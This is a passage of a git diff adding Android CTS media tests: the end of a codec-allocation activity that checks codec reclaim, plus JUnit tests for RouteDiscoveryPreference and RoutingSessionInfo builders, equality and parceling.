+        boolean isEncoder = false;
+
+        MediaCodecList mcl = new MediaCodecList(MediaCodecList.ALL_CODECS);
+        for (MediaCodecInfo info : mcl.getCodecInfos()) {
+            if (info.isEncoder() != isEncoder) {
+                continue;
+            }
+            CodecCapabilities caps;
+            try {
+                caps = info.getCapabilitiesForType(MIME);
+                boolean securePlaybackSupported =
+                        caps.isFeatureSupported(CodecCapabilities.FEATURE_SecurePlayback);
+                boolean securePlaybackRequired =
+                        caps.isFeatureRequired(CodecCapabilities.FEATURE_SecurePlayback);
+                if ((securePlayback && securePlaybackSupported) ||
+                        (!securePlayback && !securePlaybackRequired) ) {
+                    Log.d(TAG, "securePlayback " + securePlayback + " will use " + info.getName());
+                } else {
+                    Log.d(TAG, "securePlayback " + securePlayback + " skip " + info.getName());
+                    continue;
+                }
+            } catch (IllegalArgumentException e) {
+                // mime is not supported
+                continue;
+            }
+            return info;
+        }
+
+        return null;
+    }
+
+    protected int allocateCodecs(int max) {
+        Bundle extras = getIntent().getExtras();
+        int type = TYPE_NONSECURE;
+        if (extras != null) {
+            type = extras.getInt("test-type", type);
+            Log.d(TAG, "type is: " + type);
+        }
+
+        boolean shouldSkip = false;
+        boolean securePlayback;
+        if (type == TYPE_NONSECURE || type == TYPE_MIX) {
+            securePlayback = false;
+            MediaCodecInfo info = getTestCodecInfo(securePlayback);
+            if (info != null) {
+                allocateCodecs(max, info, securePlayback);
+            } else {
+                shouldSkip = true;
+            }
+        }
+
+        if (!shouldSkip) {
+            if (type == TYPE_SECURE || type == TYPE_MIX) {
+                securePlayback = true;
+                MediaCodecInfo info = getTestCodecInfo(securePlayback);
+                if (info != null) {
+                    allocateCodecs(max, info, securePlayback);
+                } else {
+                    shouldSkip = true;
+                }
+            }
+        }
+
+        if (shouldSkip) {
+            Log.d(TAG, "test skipped as there's no supported codec.");
+            finishWithResult(RESULT_OK);
+        }
+
+        Log.d(TAG, "allocateCodecs returned " + mCodecs.size());
+        return mCodecs.size();
+    }
+
+    protected void allocateCodecs(int max, MediaCodecInfo info, boolean securePlayback) {
+        String name = info.getName();
+        CodecCapabilities caps = info.getCapabilitiesForType(MIME);
+        MediaFormat format = getTestFormat(caps, securePlayback);
+        MediaCodec codec = null;
+        for (int i = mCodecs.size(); i < max; ++i) {
+            try {
+                Log.d(TAG, "Create codec " + name + " #" + i);
+                codec = MediaCodec.createByCodecName(name);
+                codec.setCallback(mCallback);
+                Log.d(TAG, "Configure codec " + format);
+                codec.configure(format, null, null, 0);
+                Log.d(TAG, "Start codec " + format);
+                codec.start();
+                mCodecs.add(codec);
+                codec = null;
+            } catch (IllegalArgumentException e) {
+                Log.d(TAG, "IllegalArgumentException " + e.getMessage());
+                break;
+            } catch (IOException e) {
+                Log.d(TAG, "IOException " + e.getMessage());
+                break;
+            } catch (MediaCodec.CodecException e) {
+                Log.d(TAG, "CodecException 0x" + Integer.toHexString(e.getErrorCode()));
+                break;
+            } finally {
+                if (codec != null) {
+                    Log.d(TAG, "release codec");
+                    codec.release();
+                    codec = null;
+                }
+            }
+        }
+    }
+
+    protected void finishWithResult(int result) {
+        for (int i = 0; i < mCodecs.size(); ++i) {
+            Log.d(TAG, "release codec #" + i);
+            mCodecs.get(i).release();
+        }
+        mCodecs.clear();
+        setResult(result);
+        finish();
+        Log.d(TAG, "activity finished");
+    }
+
+    private void doUseCodecs() {
+        int current = 0;
+        try {
+            for (current = 0; current < mCodecs.size(); ++current) {
+                mCodecs.get(current).getName();
+            }
+        } catch (MediaCodec.CodecException e) {
+            Log.d(TAG, "useCodecs got CodecException 0x" + Integer.toHexString(e.getErrorCode()));
+            if (e.getErrorCode() == MediaCodec.CodecException.ERROR_RECLAIMED) {
+                Log.d(TAG, "Remove codec " + current + " from the list");
+                mCodecs.get(current).release();
+                mCodecs.remove(current);
+                mGotReclaimedException = true;
+                mUseCodecs = false;
+            }
+            return;
+        }
+    }
+
+    protected boolean mWaitForReclaim = true;
+    private Thread mWorkerThread;
+    private volatile boolean mUseCodecs = true;
+    private volatile boolean mGotReclaimedException = false;
+    protected void useCodecs() {
+        mWorkerThread = new Thread(new Runnable() {
+            @Override
+            public void run() {
+                long start = System.currentTimeMillis();
+                long timeSinceStartedMs = 0;
+                while (mUseCodecs && (timeSinceStartedMs < 15000)) {  // timeout in 15s
+                    doUseCodecs();
+                    try {
+                        Thread.sleep(50 /* millis */);
+                    } catch (InterruptedException e) {}
+                    timeSinceStartedMs = System.currentTimeMillis() - start;
+                }
+                if (mGotReclaimedException) {
+                    Log.d(TAG, "Got expected reclaim exception.");
+                    finishWithResult(RESULT_OK);
+                } else {
+                    Log.d(TAG, "Stopped without getting reclaim exception.");
+                    // if the test is supposed to wait for reclaim event then this is a failure,
+                    // otherwise this is a pass.
+                    finishWithResult(mWaitForReclaim ? RESULT_CANCELED : RESULT_OK);
+                }
+            }
+        });
+        mWorkerThread.start();
+    }
+
+    @Override
+    protected void onDestroy() {
+        Log.d(TAG, "onDestroy called.");
+        super.onDestroy();
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/RouteDiscoveryPreferenceTest.java b/tests/tests/media/misc/src/android/media/misc/cts/RouteDiscoveryPreferenceTest.java
new file mode 100644
index 0000000..68a5725
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/RouteDiscoveryPreferenceTest.java
@@ -0,0 +1,213 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertTrue;
+import static org.testng.Assert.assertThrows;
+
+import android.media.RouteDiscoveryPreference;
+import android.media.cts.NonMediaMainlineTest;
+import android.os.Parcel;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+@NonMediaMainlineTest
+public class RouteDiscoveryPreferenceTest {
+
+    private static final String TEST_FEATURE_1 = "TEST_FEATURE_1";
+    private static final String TEST_FEATURE_2 = "TEST_FEATURE_2";
+
+    @Test
+    public void testBuilderConstructorWithNull() {
+        // Tests null preferredFeatures
+        assertThrows(NullPointerException.class,
+                () -> new RouteDiscoveryPreference.Builder(null, true));
+
+        // Tests null RouteDiscoveryPreference
+        assertThrows(NullPointerException.class,
+                () -> new RouteDiscoveryPreference.Builder((RouteDiscoveryPreference) null));
+    }
+
+    @Test
+    public void testBuilderSetPreferredFeaturesWithNull() {
+        RouteDiscoveryPreference.Builder builder =
+                new RouteDiscoveryPreference.Builder(new ArrayList<>(), true);
+
+        assertThrows(NullPointerException.class, () -> builder.setPreferredFeatures(null));
+    }
+
+    @Test
+    public void testGetters() {
+        final List<String> features = new ArrayList<>();
+        features.add(TEST_FEATURE_1);
+        features.add(TEST_FEATURE_2);
+
+        RouteDiscoveryPreference preference =
+                new RouteDiscoveryPreference.Builder(features, true /* isActiveScan */).build();
+        assertEquals(features, preference.getPreferredFeatures());
+        assertTrue(preference.shouldPerformActiveScan());
+        assertEquals(0, preference.describeContents());
+    }
+
+    @Test
+    public void testBuilderSetPreferredFeatures() {
+        final List<String> features = new ArrayList<>();
+        features.add(TEST_FEATURE_1);
+        features.add(TEST_FEATURE_2);
+
+        RouteDiscoveryPreference preference =
+                new RouteDiscoveryPreference.Builder(features, true /* isActiveScan */).build();
+
+        final List<String> newFeatures = new ArrayList<>();
+        newFeatures.add(TEST_FEATURE_1);
+
+        // Using copy constructor, we only change the setPreferredFeatures.
+        RouteDiscoveryPreference newPreference = new RouteDiscoveryPreference.Builder(preference)
+                .setPreferredFeatures(newFeatures)
+                .build();
+
+        assertEquals(newFeatures, newPreference.getPreferredFeatures());
+        assertTrue(newPreference.shouldPerformActiveScan());
+    }
+
+    @Test
+    public void testBuilderSetActiveScan() {
+        final List<String> features = new ArrayList<>();
+        features.add(TEST_FEATURE_1);
+        features.add(TEST_FEATURE_2);
+
+        RouteDiscoveryPreference preference =
+                new RouteDiscoveryPreference.Builder(features, true /* isActiveScan */).build();
+
+        // Using copy constructor, we only change the activeScan to 'false'.
+        RouteDiscoveryPreference newPreference = new RouteDiscoveryPreference.Builder(preference)
+                .setShouldPerformActiveScan(false)
+                .build();
+
+        assertEquals(features, newPreference.getPreferredFeatures());
+        assertFalse(newPreference.shouldPerformActiveScan());
+    }
+
+    @Test
+    public void testEqualsCreatedWithSameArguments() {
+        final List<String> features = new ArrayList<>();
+        features.add(TEST_FEATURE_1);
+        features.add(TEST_FEATURE_2);
+
+        RouteDiscoveryPreference preference1 =
+                new RouteDiscoveryPreference.Builder(features, true /* isActiveScan */).build();
+
+        RouteDiscoveryPreference preference2 =
+                new RouteDiscoveryPreference.Builder(features, true /* isActiveScan */).build();
+
+        assertEquals(preference1, preference2);
+    }
+
+    @Test
+    public void testEqualsCreatedWithBuilderCopyConstructor() {
+        final List<String> features = new ArrayList<>();
+        features.add(TEST_FEATURE_1);
+        features.add(TEST_FEATURE_2);
+
+        RouteDiscoveryPreference preference1 =
+                new RouteDiscoveryPreference.Builder(features, true /* isActiveScan */).build();
+
+        RouteDiscoveryPreference preference2 =
+                new RouteDiscoveryPreference.Builder(preference1).build();
+
+        assertEquals(preference1, preference2);
+    }
+
+    @Test
+    public void testEqualsReturnFalse() {
+        final List<String> features = new ArrayList<>();
+        features.add(TEST_FEATURE_1);
+        features.add(TEST_FEATURE_2);
+
+        RouteDiscoveryPreference preference =
+                new RouteDiscoveryPreference.Builder(features, true /* isActiveScan */).build();
+
+        RouteDiscoveryPreference preferenceWithDifferentFeatures =
+                new RouteDiscoveryPreference.Builder(new ArrayList<>(), true /* isActiveScan */)
+                        .build();
+        assertNotEquals(preference, preferenceWithDifferentFeatures);
+
+        RouteDiscoveryPreference preferenceWithDifferentActiveScan =
+                new RouteDiscoveryPreference.Builder(features, false /* isActiveScan */)
+                        .build();
+        assertNotEquals(preference, preferenceWithDifferentActiveScan);
+    }
+
+    @Test
+    public void testEqualsReturnFalseWithCopyConstructor() {
+        final List<String> features = new ArrayList<>();
+        features.add(TEST_FEATURE_1);
+        features.add(TEST_FEATURE_2);
+
+        RouteDiscoveryPreference preference =
+                new RouteDiscoveryPreference.Builder(features, true /* isActiveScan */).build();
+
+        final List<String> newFeatures = new ArrayList<>();
+        newFeatures.add(TEST_FEATURE_1);
+        RouteDiscoveryPreference preferenceWithDifferentFeatures =
+                new RouteDiscoveryPreference.Builder(preference)
+                        .setPreferredFeatures(newFeatures)
+                        .build();
+        assertNotEquals(preference, preferenceWithDifferentFeatures);
+
+        RouteDiscoveryPreference preferenceWithDifferentActiveScan =
+                new RouteDiscoveryPreference.Builder(preference)
+                        .setShouldPerformActiveScan(false)
+                        .build();
+        assertNotEquals(preference, preferenceWithDifferentActiveScan);
+    }
+
+    @Test
+    public void testParcelingAndUnParceling() {
+        final List<String> features = new ArrayList<>();
+        features.add(TEST_FEATURE_1);
+        features.add(TEST_FEATURE_2);
+
+        RouteDiscoveryPreference preference =
+                new RouteDiscoveryPreference.Builder(features, true /* isActiveScan */).build();
+
+        Parcel parcel = Parcel.obtain();
+        parcel.writeParcelable(preference, 0);
+        parcel.setDataPosition(0);
+
+        RouteDiscoveryPreference preferenceFromParcel = parcel.readParcelable(null);
+        assertEquals(preference, preferenceFromParcel);
+        parcel.recycle();
+
+        // In order to mark writeToParcel as tested, we let's just call it directly.
+        Parcel dummyParcel = Parcel.obtain();
+        preference.writeToParcel(dummyParcel, 0);
+        dummyParcel.recycle();
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/RoutingSessionInfoTest.java b/tests/tests/media/misc/src/android/media/misc/cts/RoutingSessionInfoTest.java
new file mode 100644
index 0000000..17b0774
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/RoutingSessionInfoTest.java
@@ -0,0 +1,592 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import static android.media.MediaRoute2Info.PLAYBACK_VOLUME_VARIABLE;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.testng.Assert.assertThrows;
+
+import android.media.RoutingSessionInfo;
+import android.media.cts.NonMediaMainlineTest;
+import android.os.Bundle;
+import android.os.Parcel;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+/**
+ * Tests {@link RoutingSessionInfo} and its {@link RoutingSessionInfo.Builder builder}.
+ */
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+@NonMediaMainlineTest
+public class RoutingSessionInfoTest {
+    public static final String TEST_ID = "test_id";
+    public static final String TEST_CLIENT_PACKAGE_NAME = "com.test.client.package.name";
+    public static final String TEST_NAME = "test_name";
+    public static final String TEST_OTHER_NAME = "test_other_name";
+
+    public static final String TEST_ROUTE_ID_0 = "test_route_type_0";
+    public static final String TEST_ROUTE_ID_1 = "test_route_type_1";
+    public static final String TEST_ROUTE_ID_2 = "test_route_type_2";
+    public static final String TEST_ROUTE_ID_3 = "test_route_type_3";
+    public static final String TEST_ROUTE_ID_4 = "test_route_type_4";
+    public static final String TEST_ROUTE_ID_5 = "test_route_type_5";
+    public static final String TEST_ROUTE_ID_6 = "test_route_type_6";
+    public static final String TEST_ROUTE_ID_7 = "test_route_type_7";
+
+    public static final String TEST_KEY = "test_key";
+    public static final String TEST_VALUE = "test_value";
+
+    public static final int TEST_VOLUME_HANDLING = PLAYBACK_VOLUME_VARIABLE;
+    public static final int TEST_VOLUME_MAX = 100;
+    public static final int TEST_VOLUME = 65;
+    @Test
+    public void testBuilderConstructorWithInvalidValues() {
+        final String nullId = null;
+        final String nullClientPackageName = null;
+
+        final String emptyId = "";
+        // Note: An empty string as client package name is valid.
+
+        final String validId = TEST_ID;
+        final String validClientPackageName = TEST_CLIENT_PACKAGE_NAME;
+
+        // ID is invalid
+        assertThrows(IllegalArgumentException.class, () -> new RoutingSessionInfo.Builder(
+                nullId, validClientPackageName));
+        assertThrows(IllegalArgumentException.class, () -> new RoutingSessionInfo.Builder(
+                emptyId, validClientPackageName));
+
+        // client package name is invalid (null)
+        assertThrows(NullPointerException.class, () -> new RoutingSessionInfo.Builder(
+                validId, nullClientPackageName));
+
+        // Both are invalid
+        assertThrows(IllegalArgumentException.class, () -> new RoutingSessionInfo.Builder(
+                nullId, nullClientPackageName));
+        assertThrows(IllegalArgumentException.class, () -> new RoutingSessionInfo.Builder(
+                emptyId, nullClientPackageName));
+    }
+
+    @Test
+    public void testBuilderCopyConstructorWithNull() {
+        // Null RouteInfo (1-argument constructor)
+        final RoutingSessionInfo nullRoutingSessionInfo = null;
+        assertThrows(NullPointerException.class,
+                () -> new RoutingSessionInfo.Builder(nullRoutingSessionInfo));
+    }
+
+    @Test
+    public void testBuilderConstructorWithEmptyClientPackageName() {
+        // An empty string for client package name is valid. (for unknown cases)
+        // Creating builder with it should not throw any exception.
+        RoutingSessionInfo.Builder builder = new RoutingSessionInfo.Builder(
+                TEST_ID, "" /* clientPackageName*/);
+    }
+
+    @Test
+    public void testBuilderBuildWithEmptySelectedRoutesThrowsIAE() {
+        RoutingSessionInfo.Builder builder = new RoutingSessionInfo.Builder(
+                TEST_ID, TEST_CLIENT_PACKAGE_NAME);
+        // Note: Calling build() without adding any selected routes.
+        assertThrows(IllegalArgumentException.class, () -> builder.build());
+    }
+
+    @Test
+    public void testBuilderAddRouteMethodsWithIllegalArgumentsThrowsIAE() {
+        RoutingSessionInfo.Builder builder = new RoutingSessionInfo.Builder(
+                TEST_ID, TEST_CLIENT_PACKAGE_NAME);
+
+        final String nullRouteId = null;
+        final String emptyRouteId = "";
+
+        assertThrows(IllegalArgumentException.class,
+                () -> builder.addSelectedRoute(nullRouteId));
+        assertThrows(IllegalArgumentException.class,
+                () -> builder.addSelectableRoute(nullRouteId));
+        assertThrows(IllegalArgumentException.class,
+                () -> builder.addDeselectableRoute(nullRouteId));
+        assertThrows(IllegalArgumentException.class,
+                () -> builder.addTransferableRoute(nullRouteId));
+
+        assertThrows(IllegalArgumentException.class,
+                () -> builder.addSelectedRoute(emptyRouteId));
+        assertThrows(IllegalArgumentException.class,
+                () -> builder.addSelectableRoute(emptyRouteId));
+        assertThrows(IllegalArgumentException.class,
+                () -> builder.addDeselectableRoute(emptyRouteId));
+        assertThrows(IllegalArgumentException.class,
+                () -> builder.addTransferableRoute(emptyRouteId));
+    }
+
+    @Test
+    public void testBuilderRemoveRouteMethodsWithIllegalArgumentsThrowsIAE() {
+        RoutingSessionInfo.Builder builder = new RoutingSessionInfo.Builder(
+                TEST_ID, TEST_CLIENT_PACKAGE_NAME);
+
+        final String nullRouteId = null;
+        final String emptyRouteId = "";
+
+        assertThrows(IllegalArgumentException.class,
+                () -> builder.removeSelectedRoute(nullRouteId));
+        assertThrows(IllegalArgumentException.class,
+                () -> builder.removeSelectableRoute(nullRouteId));
+        assertThrows(IllegalArgumentException.class,
+                () -> builder.removeDeselectableRoute(nullRouteId));
+        assertThrows(IllegalArgumentException.class,
+                () -> builder.removeTransferableRoute(nullRouteId));
+
+        assertThrows(IllegalArgumentException.class,
+                () -> builder.removeSelectedRoute(emptyRouteId));
+        assertThrows(IllegalArgumentException.class,
+                () -> builder.removeSelectableRoute(emptyRouteId));
+        assertThrows(IllegalArgumentException.class,
+                () -> builder.removeDeselectableRoute(emptyRouteId));
+        assertThrows(IllegalArgumentException.class,
+                () -> builder.removeTransferableRoute(emptyRouteId));
+    }
+
+    @Test
+    public void testBuilderAndGettersOfRoutingSessionInfo() {
+        Bundle controlHints = new Bundle();
+        controlHints.putString(TEST_KEY, TEST_VALUE);
+
+        RoutingSessionInfo sessionInfo = new RoutingSessionInfo.Builder(
+                TEST_ID, TEST_CLIENT_PACKAGE_NAME)
+                .setName(TEST_NAME)
+                .addSelectedRoute(TEST_ROUTE_ID_0)
+                .addSelectedRoute(TEST_ROUTE_ID_1)
+                .addSelectableRoute(TEST_ROUTE_ID_2)
+                .addSelectableRoute(TEST_ROUTE_ID_3)
+                .addDeselectableRoute(TEST_ROUTE_ID_4)
+                .addDeselectableRoute(TEST_ROUTE_ID_5)
+                .addTransferableRoute(TEST_ROUTE_ID_6)
+                .addTransferableRoute(TEST_ROUTE_ID_7)
+                .setVolumeHandling(TEST_VOLUME_HANDLING)
+                .setVolumeMax(TEST_VOLUME_MAX)
+                .setVolume(TEST_VOLUME)
+                .setControlHints(controlHints)
+                .build();
+
+        assertEquals(TEST_ID, sessionInfo.getId());
+        assertEquals(TEST_CLIENT_PACKAGE_NAME, sessionInfo.getClientPackageName());
+        assertEquals(TEST_NAME, sessionInfo.getName());
+
+        assertEquals(2, sessionInfo.getSelectedRoutes().size());
+        assertEquals(TEST_ROUTE_ID_0, sessionInfo.getSelectedRoutes().get(0));
+        assertEquals(TEST_ROUTE_ID_1, sessionInfo.getSelectedRoutes().get(1));
+
+        assertEquals(2, sessionInfo.getSelectableRoutes().size());
+        assertEquals(TEST_ROUTE_ID_2, sessionInfo.getSelectableRoutes().get(0));
+        assertEquals(TEST_ROUTE_ID_3, sessionInfo.getSelectableRoutes().get(1));
+
+        assertEquals(2, sessionInfo.getDeselectableRoutes().size());
+        assertEquals(TEST_ROUTE_ID_4, sessionInfo.getDeselectableRoutes().get(0));
+        assertEquals(TEST_ROUTE_ID_5, sessionInfo.getDeselectableRoutes().get(1));
+
+        assertEquals(2, sessionInfo.getTransferableRoutes().size());
+        assertEquals(TEST_ROUTE_ID_6, sessionInfo.getTransferableRoutes().get(0));
+        assertEquals(TEST_ROUTE_ID_7, sessionInfo.getTransferableRoutes().get(1));
+
+        assertEquals(TEST_VOLUME_HANDLING, sessionInfo.getVolumeHandling());
+        assertEquals(TEST_VOLUME_MAX, sessionInfo.getVolumeMax());
+        assertEquals(TEST_VOLUME, sessionInfo.getVolume());
+
+        Bundle controlHintsOut = sessionInfo.getControlHints();
+        assertNotNull(controlHintsOut);
+        assertTrue(controlHintsOut.containsKey(TEST_KEY));
+        assertEquals(TEST_VALUE, controlHintsOut.getString(TEST_KEY));
+    }
+
+    @Test
+    public void testBuilderAddRouteMethodsWithBuilderCopyConstructor() {
+        RoutingSessionInfo sessionInfo = new RoutingSessionInfo.Builder(
+                TEST_ID, TEST_CLIENT_PACKAGE_NAME)
+                .addSelectedRoute(TEST_ROUTE_ID_0)
+                .addSelectableRoute(TEST_ROUTE_ID_2)
+                .addDeselectableRoute(TEST_ROUTE_ID_4)
+                .addTransferableRoute(TEST_ROUTE_ID_6)
+                .build();
+
+        RoutingSessionInfo newSessionInfo = new RoutingSessionInfo.Builder(sessionInfo)
+                .addSelectedRoute(TEST_ROUTE_ID_1)
+                .addSelectableRoute(TEST_ROUTE_ID_3)
+                .addDeselectableRoute(TEST_ROUTE_ID_5)
+                .addTransferableRoute(TEST_ROUTE_ID_7)
+                .build();
+
+        assertEquals(2, newSessionInfo.getSelectedRoutes().size());
+        assertEquals(TEST_ROUTE_ID_0, newSessionInfo.getSelectedRoutes().get(0));
+        assertEquals(TEST_ROUTE_ID_1, newSessionInfo.getSelectedRoutes().get(1));
+
+        assertEquals(2, newSessionInfo.getSelectableRoutes().size());
+        assertEquals(TEST_ROUTE_ID_2, newSessionInfo.getSelectableRoutes().get(0));
+        assertEquals(TEST_ROUTE_ID_3, newSessionInfo.getSelectableRoutes().get(1));
+
+        assertEquals(2, newSessionInfo.getDeselectableRoutes().size());
+        assertEquals(TEST_ROUTE_ID_4, newSessionInfo.getDeselectableRoutes().get(0));
+        assertEquals(TEST_ROUTE_ID_5, newSessionInfo.getDeselectableRoutes().get(1));
+
+        assertEquals(2, newSessionInfo.getTransferableRoutes().size());
+        assertEquals(TEST_ROUTE_ID_6, newSessionInfo.getTransferableRoutes().get(0));
+        assertEquals(TEST_ROUTE_ID_7, newSessionInfo.getTransferableRoutes().get(1));
+    }
+
+    @Test
+    public void testBuilderRemoveRouteMethods() {
+        RoutingSessionInfo sessionInfo = new RoutingSessionInfo.Builder(
+                TEST_ID, TEST_CLIENT_PACKAGE_NAME)
+                .addSelectedRoute(TEST_ROUTE_ID_0)
+                .addSelectedRoute(TEST_ROUTE_ID_1)
+                .removeSelectedRoute(TEST_ROUTE_ID_1)
+
+                .addSelectableRoute(TEST_ROUTE_ID_2)
+                .addSelectableRoute(TEST_ROUTE_ID_3)
+                .removeSelectableRoute(TEST_ROUTE_ID_3)
+
+                .addDeselectableRoute(TEST_ROUTE_ID_4)
+                .addDeselectableRoute(TEST_ROUTE_ID_5)
+                .removeDeselectableRoute(TEST_ROUTE_ID_5)
+
+                .addTransferableRoute(TEST_ROUTE_ID_6)
+                .addTransferableRoute(TEST_ROUTE_ID_7)
+                .removeTransferableRoute(TEST_ROUTE_ID_7)
+
+                .build();
+
+        assertEquals(1, sessionInfo.getSelectedRoutes().size());
+        assertEquals(TEST_ROUTE_ID_0, sessionInfo.getSelectedRoutes().get(0));
+
+        assertEquals(1, sessionInfo.getSelectableRoutes().size());
+        assertEquals(TEST_ROUTE_ID_2, sessionInfo.getSelectableRoutes().get(0));
+
+        assertEquals(1, sessionInfo.getDeselectableRoutes().size());
+        assertEquals(TEST_ROUTE_ID_4, sessionInfo.getDeselectableRoutes().get(0));
+
+        assertEquals(1, sessionInfo.getTransferableRoutes().size());
+        assertEquals(TEST_ROUTE_ID_6, sessionInfo.getTransferableRoutes().get(0));
+    }
+
+    @Test
+    public void testBuilderRemoveRouteMethodsWithBuilderCopyConstructor() {
+        RoutingSessionInfo sessionInfo = new RoutingSessionInfo.Builder(
+                TEST_ID, TEST_CLIENT_PACKAGE_NAME)
+                .addSelectedRoute(TEST_ROUTE_ID_0)
+                .addSelectedRoute(TEST_ROUTE_ID_1)
+                .addSelectableRoute(TEST_ROUTE_ID_2)
+                .addSelectableRoute(TEST_ROUTE_ID_3)
+                .addDeselectableRoute(TEST_ROUTE_ID_4)
+                .addDeselectableRoute(TEST_ROUTE_ID_5)
+                .addTransferableRoute(TEST_ROUTE_ID_6)
+                .addTransferableRoute(TEST_ROUTE_ID_7)
+                .build();
+
+        RoutingSessionInfo newSessionInfo = new RoutingSessionInfo.Builder(sessionInfo)
+                .removeSelectedRoute(TEST_ROUTE_ID_1)
+                .removeSelectableRoute(TEST_ROUTE_ID_3)
+                .removeDeselectableRoute(TEST_ROUTE_ID_5)
+                .removeTransferableRoute(TEST_ROUTE_ID_7)
+                .build();
+
+        assertEquals(1, newSessionInfo.getSelectedRoutes().size());
+        assertEquals(TEST_ROUTE_ID_0, newSessionInfo.getSelectedRoutes().get(0));
+
+        assertEquals(1, newSessionInfo.getSelectableRoutes().size());
+        assertEquals(TEST_ROUTE_ID_2, newSessionInfo.getSelectableRoutes().get(0));
+
+        assertEquals(1, newSessionInfo.getDeselectableRoutes().size());
+        assertEquals(TEST_ROUTE_ID_4, newSessionInfo.getDeselectableRoutes().get(0));
+
+        assertEquals(1, newSessionInfo.getTransferableRoutes().size());
+        assertEquals(TEST_ROUTE_ID_6, newSessionInfo.getTransferableRoutes().get(0));
+    }
+
+    @Test
+    public void testBuilderClearRouteMethods() {
+        RoutingSessionInfo sessionInfo = new RoutingSessionInfo.Builder(
+                TEST_ID, TEST_CLIENT_PACKAGE_NAME)
+                .addSelectedRoute(TEST_ROUTE_ID_0)
+                .addSelectedRoute(TEST_ROUTE_ID_1)
+                .clearSelectedRoutes()
+
+                .addSelectableRoute(TEST_ROUTE_ID_2)
+                .addSelectableRoute(TEST_ROUTE_ID_3)
+                .clearSelectableRoutes()
+
+                .addDeselectableRoute(TEST_ROUTE_ID_4)
+                .addDeselectableRoute(TEST_ROUTE_ID_5)
+                .clearDeselectableRoutes()
+
+                .addTransferableRoute(TEST_ROUTE_ID_6)
+                .addTransferableRoute(TEST_ROUTE_ID_7)
+                .clearTransferableRoutes()
+
+                // SelectedRoutes must not be empty
+                .addSelectedRoute(TEST_ROUTE_ID_0)
+                .build();
+
+        assertEquals(1, sessionInfo.getSelectedRoutes().size());
+        assertEquals(TEST_ROUTE_ID_0, sessionInfo.getSelectedRoutes().get(0));
+
+        assertTrue(sessionInfo.getSelectableRoutes().isEmpty());
+        assertTrue(sessionInfo.getDeselectableRoutes().isEmpty());
+        assertTrue(sessionInfo.getTransferableRoutes().isEmpty());
+    }
+
+    @Test
+    public void testBuilderClearRouteMethodsWithBuilderCopyConstructor() {
+        RoutingSessionInfo sessionInfo = new RoutingSessionInfo.Builder(
+                TEST_ID, TEST_CLIENT_PACKAGE_NAME)
+                .addSelectedRoute(TEST_ROUTE_ID_0)
+                .addSelectedRoute(TEST_ROUTE_ID_1)
+                .addSelectableRoute(TEST_ROUTE_ID_2)
+                .addSelectableRoute(TEST_ROUTE_ID_3)
+                .addDeselectableRoute(TEST_ROUTE_ID_4)
+                .addDeselectableRoute(TEST_ROUTE_ID_5)
+                .addTransferableRoute(TEST_ROUTE_ID_6)
+                .addTransferableRoute(TEST_ROUTE_ID_7)
+                .build();
+
+        RoutingSessionInfo newSessionInfo = new RoutingSessionInfo.Builder(sessionInfo)
+                .clearSelectedRoutes()
+                .clearSelectableRoutes()
+                .clearDeselectableRoutes()
+                .clearTransferableRoutes()
+                // SelectedRoutes must not be empty
+                .addSelectedRoute(TEST_ROUTE_ID_0)
+                .build();
+
+        assertEquals(1, newSessionInfo.getSelectedRoutes().size());
+        assertEquals(TEST_ROUTE_ID_0, newSessionInfo.getSelectedRoutes().get(0));
+
+        assertTrue(newSessionInfo.getSelectableRoutes().isEmpty());
+        assertTrue(newSessionInfo.getDeselectableRoutes().isEmpty());
+        assertTrue(newSessionInfo.getTransferableRoutes().isEmpty());
+    }
+
+    @Test
+    public void testEqualsCreatedWithSameArguments() {
+        Bundle controlHints = new Bundle();
+        controlHints.putString(TEST_KEY, TEST_VALUE);
+
+        RoutingSessionInfo sessionInfo1 = new RoutingSessionInfo.Builder(
+                TEST_ID, TEST_CLIENT_PACKAGE_NAME)
+                .setName(TEST_NAME)
+                .addSelectedRoute(TEST_ROUTE_ID_0)
+                .addSelectedRoute(TEST_ROUTE_ID_1)
+                .addSelectableRoute(TEST_ROUTE_ID_2)
+                .addSelectableRoute(TEST_ROUTE_ID_3)
+                .addDeselectableRoute(TEST_ROUTE_ID_4)
+                .addDeselectableRoute(TEST_ROUTE_ID_5)
+                .addTransferableRoute(TEST_ROUTE_ID_6)
+                .addTransferableRoute(TEST_ROUTE_ID_7)
+                .setVolumeHandling(TEST_VOLUME_HANDLING)
+                .setVolumeMax(TEST_VOLUME_MAX)
+                .setVolume(TEST_VOLUME)
+                .setControlHints(controlHints)
+                .build();
+
